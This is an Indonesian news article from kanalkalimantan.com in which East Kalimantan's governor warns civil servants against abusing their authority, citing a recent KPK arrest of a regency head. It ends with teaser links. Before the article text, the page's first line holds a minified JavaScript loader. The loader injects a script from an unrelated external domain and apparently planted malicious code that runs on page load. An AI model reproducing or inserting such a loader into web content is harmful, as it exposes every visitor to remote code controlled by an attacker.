(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, SAMARINDA – Untuk mewujudkan pemerintah yang bersih, berwibawa serta profesional, maka seluruh pegawai di lingkungan Pemerintah Provinsi (Pemprov) Kaltim diingatkan untuk tidak menyalahgunakan wewenang.
Gubernur Kaltim Isran Noor mengatakan, setiap pegawai sudah mendapatkan haknya, sesuai yang diatur dalam perundang-undangan. Sehingga, jangan sekalipun menyalahi kewenangan untuk kepentingan pribadi, apalagi korupsi.
“Sebagai pegawai sudah mendapatkan hak sesuai amanah yang diberikan. Karena itu, jangan coba-coba menyalahgunakan wewenang. Sehingga, mampu mendapatkan keuntungan diri sendiri,” ujarnya, melansir dari Inibalikpapan.com -jaringan Suara.com-, Kamis (27/1/2022).
Mantan Bupati Kutai Timur (Kutim) dua periode itu mengingkatkan, jika menyalahgunakan kewenangan, maka akan berhadapan dengan aparat penegak hukum dan hukuman kurungan akan menanti.
“Akibatnya akan buruk. Ujung-ujungnya kurungan. Batin pun tak menentu,” sambungnya.
Baca juga: Mata Bumi Di Luar Angkasa “James Webb (JWST)” Berhasil Mengorbit 1 Juta Mil dari Bumi
Ia mengatakan, apa yang ia sampaikan ini tentunya memiliki alasan. Karena sejauh ini banyak pegawai, mulai dari pejabat hingga kepala daerah di Bumi Mulawarman yang harus berurusan dengan hukum.
Bahkan di awal tahun ini, operasi tangkap tangan (OTT) yang dilakukan Komisi Pemberantasan Korupsi (KPK) mengamankan Abdul Gafur Mas’ud (AGM) yang masih menjabat Bupati Penajam Paser Utara (PPU).
Selain AGM, KPK juga mengamankan Pelaksana Harian (Plh) Sekretaris Kabupaten dan sejumlah kepada dinas, termasuk pihak swasta. Dalam dugaan pemberian suap sejumlah proyek di PPU.
“Jangan mencari kelebihan, tetapi membuat diri sengsara. Nikmati dan syukuri yang ada, rezeki tidak akan ke mana-mana. Allah SWT sudah mengaturnya,” pesannya.
Ia melanjutkan, jika sudah tersangkut kasus hukum maka proses panjang menanti. Sehingga tugas dan tanggung jawab terganggu. Sehingga dia mengingatkan tidak menyalahgunakan wewenang.
Baca juga: KPK Sebut Kerangkeng Berisi Manusia Di Rumah Bupati Langkat Adalah Para Pekerja Sawit
“Salah atau tidak salah. Kalau sudah terlapor, siap-siap menjalaninya,” tandasnya. (kanalkalimantan.com/suara.com)
Editor : kk
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More
This website uses cookies.